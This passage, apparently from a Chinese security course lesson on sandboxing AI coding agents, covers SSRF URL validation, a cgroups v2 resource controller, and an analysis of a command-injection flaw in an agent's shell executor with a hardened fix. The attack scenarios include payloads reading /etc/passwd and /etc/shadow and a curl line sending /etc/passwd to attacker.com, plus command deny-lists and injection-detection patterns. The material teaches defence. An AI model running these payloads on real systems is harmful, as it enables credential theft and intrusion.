  // 尝试访问内网
  const result2 = await SSRFProtection.validateURL('http://192.168.1.1/admin');
  console.log(result2); // { safe: false, reason: '禁止访问内网地址', risk: 'high' }
  
  // 尝试访问云元数据服务
  const result3 = await SSRFProtection.validateURL('http://169.254.169.254/latest/meta-data/');
  console.log(result3); // { safe: false, reason: '禁止访问云元数据服务', risk: 'critical' }
  
  // DNS Rebinding 攻击(域名解析到内网 IP)
  const result4 = await SSRFProtection.validateURL('http://evil.com/api');
  // 如果 evil.com 解析到 192.168.1.1,会被拦截
  console.log(result4); // { safe: false, ... }
}

5.5 进程沙盒

cgroups 资源限制

typescript 复制代码
// packages/sandbox/src/process/cgroup-controller.ts

import { mkdir, writeFile, readFile } from 'fs/promises';
import { join } from 'path';

/**
 * cgroups v2 控制器
 * 
 * 用于限制进程组的资源使用
 */
export class CgroupController {
  private cgroupPath: string;
  private processId: number;
  
  constructor(cgroupName: string, processId: number) {
    // cgroups v2 统一挂载在 /sys/fs/cgroup
    this.cgroupPath = join('/sys/fs/cgroup', cgroupName);
    this.processId = processId;
  }
  
  /**
   * 创建 cgroup
   */
  async create(): Promise<void> {
    try {
      await mkdir(this.cgroupPath, { recursive: true });
    } catch (error) {
      // 可能已经存在
      if ((error as any).code !== 'EEXIST') {
        throw error;
      }
    }
  }
  
  /**
   * 将进程添加到 cgroup
   */
  async addProcess(): Promise<void> {
    const cgroupProcsPath = join(this.cgroupPath, 'cgroup.procs');
    await writeFile(cgroupProcsPath, this.processId.toString());
  }
  
  /**
   * 设置内存限制
   */
  async setMemoryLimit(limitBytes: number): Promise<void> {
    // 内存限制
    await writeFile(
      join(this.cgroupPath, 'memory.max'),
      limitBytes.toString()
    );
    
    // 内存 + Swap 限制
    await writeFile(
      join(this.cgroupPath, 'memory.swap.max'),
      '0' // 不允许使用 swap
    );
    
    // 内存压力警告
    await writeFile(
      join(this.cgroupPath, 'memory.pressure_level'),
      'medium'
    );
  }
  
  /**
   * 设置 CPU 限制
   */
  async setCPULimit(cpuQuotaUs: number, cpuPeriodUs: number = 100000): Promise<void> {
    // CPU 配额(微秒)
    await writeFile(
      join(this.cgroupPath, 'cpu.max'),
      `${cpuQuotaUs} ${cpuPeriodUs}`
    );
    
    // CPU 权重(相对优先级)
    await writeFile(
      join(this.cgroupPath, 'cpu.weight'),
      '100' // 默认权重
    );
  }
  
  /**
   * 设置进程数限制
   */
  async setPidsLimit(limit: number): Promise<void> {
    await writeFile(
      join(this.cgroupPath, 'pids.max'),
      limit.toString()
    );
  }
  
  /**
   * 设置 IO 限制
   */
  async setIOLimit(deviceMajor: number, deviceMinor: number, bps: number): Promise<void> {
    // 读取速率限制
    await writeFile(
      join(this.cgroupPath, 'io.max'),
      `${deviceMajor}:${deviceMinor} rbps=${bps} wbps=${bps}`
    );
  }
  
  /**
   * 获取资源使用情况
   */
  async getUsage(): Promise<CgroupUsage> {
    const memoryCurrent = await readFile(
      join(this.cgroupPath, 'memory.current'),
      'utf-8'
    );
    
    const cpuStat = await readFile(
      join(this.cgroupPath, 'cpu.stat'),
      'utf-8'
    );
    
    const pidsCurrent = await readFile(
      join(this.cgroupPath, 'pids.current'),
      'utf-8'
    );
    
    return {
      memory: {
        current: parseInt(memoryCurrent.trim()),
        max: await this.readLimit('memory.max'),
      },
      cpu: {
        usageUs: this.parseCpuStat(cpuStat),
      },
      pids: {
        current: parseInt(pidsCurrent.trim()),
        max: await this.readLimit('pids.max'),
      },
    };
  }
  
  private async readLimit(filename: string): Promise<number> {
    try {
      const content = await readFile(join(this.cgroupPath, filename), 'utf-8');
      return parseInt(content.trim());
    } catch {
      return Infinity;
    }
  }
  
  private parseCpuStat(cpuStat: string): number {
    const match = cpuStat.match(/^usage_usec (\d+)/m);
    return match ? parseInt(match[1]) : 0;
  }
  
  /**
   * 删除 cgroup
   */
  async remove(): Promise<void> {
    // 需要先移动所有进程到其他 cgroup
    try {
      const procsContent = await readFile(
        join(this.cgroupPath, 'cgroup.procs'),
        'utf-8'
      );
      
      const procs = procsContent.trim().split('\n').filter(Boolean);
      
      for (const pid of procs) {
        await writeFile('/sys/fs/cgroup/cgroup.procs', pid);
      }
    } catch {
      // 忽略错误
    }
    
    // 删除目录
    const { exec } = await import('child_process');
    const { promisify } = await import('util');
    const rmdir = promisify(exec);
    
    try {
      await rmdir(`rmdir ${this.cgroupPath}`);
    } catch {
      // 可能正在使用
    }
  }
}

export interface CgroupUsage {
  memory: {
    current: number;
    max: number;
  };
  cpu: {
    usageUs: number;
  };
  pids: {
    current: number;
    max: number;
  };
}

/**
 * 使用示例
 */
async function cgroupExample() {
  const controller = new CgroupController('sandbox-123', 12345);
  
  // 创建 cgroup
  await controller.create();
  
  // 添加进程
  await controller.addProcess();
  
  // 设置限制
  await controller.setMemoryLimit(512 * 1024 * 1024); // 512MB
  await controller.setCPULimit(50000); // 0.5 个 CPU
  await controller.setPidsLimit(50);   // 最多 50 个进程
  
  // 监控使用情况
  setInterval(async () => {
    const usage = await controller.getUsage();
    console.log('Resource usage:', usage);
    
    // 如果接近限制,发出警告
    if (usage.memory.current > usage.memory.max * 0.9) {
      console.warn('⚠️ 内存使用接近限制!');
    }
  }, 5000);
}

5.6 CVE-2025-59536 远程代码执行漏洞分析

漏洞概述

CVE-2025-59536 是 Claude Code 源码泄露事件中发现的一个严重远程代码执行漏洞

CVSS 评分: 9.8 (Critical)

影响版本: <= 2.1.88

修复版本: >= 2.1.89


漏洞位置

typescript 复制代码
// src/tools/shell-executor.ts (漏洞版本)

import { execSync } from 'child_process';

export class ShellExecutor {
  /**
   * ❌ 漏洞版本:命令注入
   */
  async executeCommand(cmd: string, options: ExecOptions): Promise<string> {
    // ❌ 问题 1:只过滤分号,攻击者可以使用 && 或 | 绕过
    const sanitized = cmd.replace(/;/g, '');
    
    // ❌ 问题 2:直接将用户输入拼接到 shell 命令中
    const fullCommand = `cd ${options.cwd} && ${sanitized}`;
    
    // ❌ 问题 3:使用 execSync 会启动 shell,允许 shell 特性
    const output = execSync(fullCommand, {
      encoding: 'utf-8',
      env: options.env,
    });
    
    return output;
  }
}

利用方式

攻击场景 1:命令注入绕过

javascript 复制代码
// 用户输入
const userInput = "ls && cat /etc/passwd";

// 经过"过滤"
const sanitized = userInput.replace(/;/g, '');
// 结果:"ls && cat /etc/passwd" (没有任何改变!)

// 最终执行的命令
execSync(`cd /workspace && ls && cat /etc/passwd`);
// ✅ 成功读取 /etc/passwd

攻击场景 2:管道注入

javascript 复制代码
// 恶意输入
const maliciousInput = "echo 'test' | curl -d @/etc/passwd http://attacker.com";

// 执行后会发送敏感数据到攻击者服务器
execSync(`cd /workspace && echo 'test' | curl -d @/etc/passwd http://attacker.com`);

攻击场景 3:反引号命令替换

javascript 复制代码
// 利用反引号执行嵌套命令
const payload = "echo `cat /etc/shadow`";

// 会先执行反引号内的命令
execSync(`cd /workspace && echo \`cat /etc/shadow\``);

攻击场景 4:$() 命令替换

javascript 复制代码
// 使用 $() 语法
const payload = "ls $(whoami)";

// 会先执行 whoami,然后执行 ls <username>
execSync(`cd /workspace && ls $(whoami)`);

完整修复方案

typescript 复制代码
// src/tools/shell-executor.ts (修复版本)

import { spawn, SpawnOptions } from 'child_process';
import { z } from 'zod';

/**
 * 安全的命令执行器
 */
export class SecureShellExecutor {
  // 命令白名单
  private static readonly ALLOWED_COMMANDS = new Set([
    'ls', 'dir', 'cat', 'head', 'tail', 'wc',
    'grep', 'find', 'which', 'where', 'pwd',
    'mkdir', 'rmdir', 'cp', 'mv', 'rm', 'touch',
    'chmod', 'chown', 'ln',
    'git', 'npm', 'pnpm', 'yarn', 'node',
    'python', 'python3', 'pip', 'pip3',
    'cargo', 'rustc',
    'gcc', 'g++', 'make',
    'docker', 'docker-compose',
    'curl', 'wget',
    'jq', 'sed', 'awk',
  ]);
  
  // 完全禁止的命令
  private static readonly DENIED_COMMANDS = new Set([
    'sudo', 'su', 'pkexec', 'doas',
    'mkfs', 'dd', 'fdisk', 'parted',
    'mount', 'umount',
    'reboot', 'shutdown', 'halt', 'poweroff',
    'rm', // rm 需要特殊处理
  ]);
  
  // 危险字符模式
  private static readonly DANGEROUS_PATTERNS = [
    /[;&|]/,              // 命令分隔符
    /[<>]/,               // 重定向
    /\$\(/,               // 命令替换
    /`/,                  // 反引号
    /\{[^}]*\}/,          // 花括号扩展
    /\*|\?/,              // 通配符(在某些上下文中)
    /~/,                  // home 目录扩展
  ];
  
  /**
   * 参数 Schema 验证
   */
  private static readonly CommandSchema = z.object({
    command: z.string().max(1000),
    args: z.array(z.string().max(255)).optional().default([]),
    cwd: z.string().max(500),
    env: z.record(z.string()).optional(),
    timeout: z.number().max(300000).default(30000),
  });
  
  /**
   * 安全执行命令
   */
  async execute(params: CommandParams): Promise<ExecutionResult> {
    const startTime = Date.now();
    
    try {
      // ========== 第 1 层:输入验证 ==========
      const validatedParams = this.validateInput(params);
      
      // ========== 第 2 层:命令白名单检查 ==========
      this.checkCommandWhitelist(validatedParams.command);
      
      // ========== 第 3 层:参数安全检查 ==========
      this.checkArguments(validatedParams.args || []);
      
      // ========== 第 4 层:路径安全检查 ==========
      await this.checkWorkingDirectory(validatedParams.cwd);
      
      // ========== 第 5 层:使用 spawn 而非 exec ==========
      const result = await this.spawnProcess(validatedParams);
      
      return {
        success: result.exitCode === 0,
        stdout: result.stdout,
        stderr: result.stderr,
        exitCode: result.exitCode,
        duration: Date.now() - startTime,
      };
      
    } catch (error) {
      return {
        success: false,
        stdout: '',
        stderr: error instanceof Error ? error.message : String(error),
        exitCode: -1,
        duration: Date.now() - startTime,
      };
    }
  }
  
  /**
   * 第 1 层:输入验证
   */
  private validateInput(params: any): CommandParams {
    try {
      return SecureShellExecutor.CommandSchema.parse(params);
    } catch (error) {
      if (error instanceof z.ZodError) {
        throw new ValidationError(
          '命令参数格式不正确',
          error.errors
        );
      }
      throw error;
    }
  }
  
  /**
   * 第 2 层:命令白名单检查
   */
  private checkCommandWhitelist(command: string): void {
    // 提取基础命令(去除路径)
    const baseCommand = command.split(/[\/\\]/).pop()?.toLowerCase();
    
    if (!baseCommand) {
      throw new SecurityError('无效的命令格式');
    }
    
    // 检查是否在白名单中
    if (!SecureShellExecutor.ALLOWED_COMMANDS.has(baseCommand)) {
      throw new SecurityError(
        `命令 "${baseCommand}" 不在白名单中。` +
        `允许的命令包括:${Array.from(SecureShellExecutor.ALLOWED_COMMANDS).slice(0, 10).join(', ')}...`
      );
    }
    
    // 检查是否在黑名单中
    if (SecureShellExecutor.DENIED_COMMANDS.has(baseCommand)) {
      throw new SecurityError(
        `命令 "${baseCommand}" 被明确禁止`
      );
    }
  }
  
  /**
   * 第 3 层:参数安全检查
   */
  private checkArguments(args: string[]): void {
    for (let i = 0; i < args.length; i++) {
      const arg = args[i];
      
      // 检查危险模式
      for (const pattern of SecureShellExecutor.DANGEROUS_PATTERNS) {
        if (pattern.test(arg)) {
          throw new SecurityError(
            `参数 ${i} 包含危险字符:${arg}\n` +
            `禁止使用命令分隔符 (; & |)、重定向 (< >)、命令替换 ($() \`) 等 shell 特性`
          );
        }
      }
      
      // 检查路径遍历
      if (arg.includes('..')) {
        // 允许相对路径,但需要进一步检查
        const resolved = require('path').resolve(arg);
        if (!resolved.startsWith(process.cwd())) {
          throw new SecurityError(
            `参数 ${i} 包含路径遍历:${arg}`
          );
        }
      }
    }
  }
  
  /**
   * 第 4 层:工作目录检查
   */
  private async checkWorkingDirectory(cwd: string): Promise<void> {
    const fs = await import('fs/promises');
    const path = await import('path');
    
    // 解析绝对路径
    const resolvedCwd = path.resolve(cwd);
    
    // 检查目录是否存在
    try {
      const stats = await fs.stat(resolvedCwd);
      
      if (!stats.isDirectory()) {
        throw new SecurityError(`工作目录不是目录:${resolvedCwd}`);
      }
      
      // 检查是否在允许范围内
      const allowedRoots = [process.cwd(), '/tmp', '/workspace'];
      const isAllowed = allowedRoots.some(root => 
        resolvedCwd.startsWith(root)
      );
      
      if (!isAllowed) {
        throw new SecurityError(
          `工作目录不在允许范围内:${resolvedCwd}`
        );
      }
      
    } catch (error) {
      if ((error as any).code === 'ENOENT') {
        throw new SecurityError(`工作目录不存在:${resolvedCwd}`);
      }
      throw error;
    }
  }
  
  /**
   * 第 5 层:使用 spawn 执行(不启动 shell)
   */
  private async spawnProcess(params: CommandParams): Promise<SpawnResult> {
    return new Promise((resolve, reject) => {
      const options: SpawnOptions = {
        cwd: params.cwd,
        env: { ...process.env, ...params.env },
        stdio: ['ignore', 'pipe', 'pipe'],
        
        // ⭐ 关键:不启动 shell
        shell: false,
        
        // 超时终止
        timeout: params.timeout,
        
        // 杀死进程组
        detached: false,
      };
      
      const child = spawn(params.command, params.args || [], options);
      
      let stdout = '';
      let stderr = '';
      
      child.stdout.on('data', (data) => {
        stdout += data.toString();
      });
      
      child.stderr.on('data', (data) => {
        stderr += data.toString();
      });
      
      child.on('error', reject);
      
      child.on('close', (exitCode) => {
        resolve({
          stdout,
          stderr,
          exitCode: exitCode ?? -1,
        });
      });
      
      // 超时处理
      setTimeout(() => {
        child.kill('SIGTERM');
        child.on('close', () => {
          reject(new TimeoutError(`命令执行超时 (${params.timeout}ms)`));
        });
      }, params.timeout);
    });
  }
}

interface CommandParams {
  command: string;
  args?: string[];
  cwd: string;
  env?: Record<string, string>;
  timeout?: number;
}

interface ExecutionResult {
  success: boolean;
  stdout: string;
  stderr: string;
  exitCode: number;
  duration: number;
}

interface SpawnResult {
  stdout: string;
  stderr: string;
  exitCode: number;
}

class SecurityError extends Error {}
class ValidationError extends Error {}
class TimeoutError extends Error {}

修复前后对比

维度 修复前 修复后
命令执行方式 execSync() (启动 shell) spawn() (不启动 shell)
输入过滤 只过滤分号 Zod Schema 完整验证
命令控制 白名单 + 黑名单双重过滤
参数检查 危险模式检测
路径验证 严格的路径范围检查
超时控制 自动终止
错误处理 简单 结构化异常

课后练习

基础题

  1. OverlayFS 实验:手动搭建一个 OverlayFS 环境,体验分层文件系统
  2. Docker 网络隔离:创建一个内部网络,配置 iptables 规则
  3. cgroups 实践:使用 systemd-run 创建受限的 cgroup

进阶题

  1. 自定义 seccomp 配置:编写一个 seccomp 配置文件,阻止特定的系统调用
  2. SSRF 防护实现:实现完整的 SSRF 防护逻辑,包括 DNS rebinding 防护
  3. 命令注入测试:在测试环境中尝试各种命令注入技巧

挑战题

  1. 完整沙盒系统:集成 Docker、gVisor、eBPF,实现多层防护沙盒
  2. 性能基准测试:对比不同沙盒技术的性能开销
  3. 逃逸尝试:在授权环境下尝试容器逃逸技术(仅限学习)

下节预告

第 6 课:实战:从零搭建 AI Agent

  • 🛠️ 完整的技术栈选型和架构设计
  • 💻 六大核心模块的逐步实现
  • 🤖 AI 模型集成和 Prompt Engineering
  • 🧪 测试、部署、运维全流程
  • 🎓 毕业设计:实现你自己的 AI 编程助手

版权声明:本课程内容仅用于教育和技术研究目的,请勿将所学知识用于非法活动。所有案例分析均基于公开信息,旨在提升安全意识和技术水平。

相关推荐
admin and root2 小时前
XSS之Flash弹窗钓鱼
前端·网络·安全·web安全·渗透测试·xss·src
U-Mail邮件系统2 小时前
企业邮箱本地私有化部署:构建自主可控、安全高效的邮件体系
大数据·人工智能·安全
浅月流苏2 小时前
Claude Code安装以及idea集成Claude Code的使用教程(基础篇)
java·ai编程·claude code
墨香幽梦客2 小时前
IT治理工具箱:整合低代码、API管理与安全合规的统一管控平台建设
安全·低代码
安全渗透Hacker2 小时前
Inspectio工具NLP敏感实体检测模块:原理、实践与误报处理全解析
人工智能·安全·安全性测试
飞睿科技2 小时前
两轮车后向安全难题迎突破,毫米波雷达开启智能防护新时代
安全
信创DevOps先锋3 小时前
中国企业DevOps工具链选型趋势:本土化与安全可控成核心指标
运维·安全·devops
瘾大侠3 小时前
HTB - DevArea
安全·web安全·网络安全
摄影图3 小时前
隐私保护数字盾牌设计图片素材 满足各类网络安全创作需求
网络·安全·aigc·贴图·插画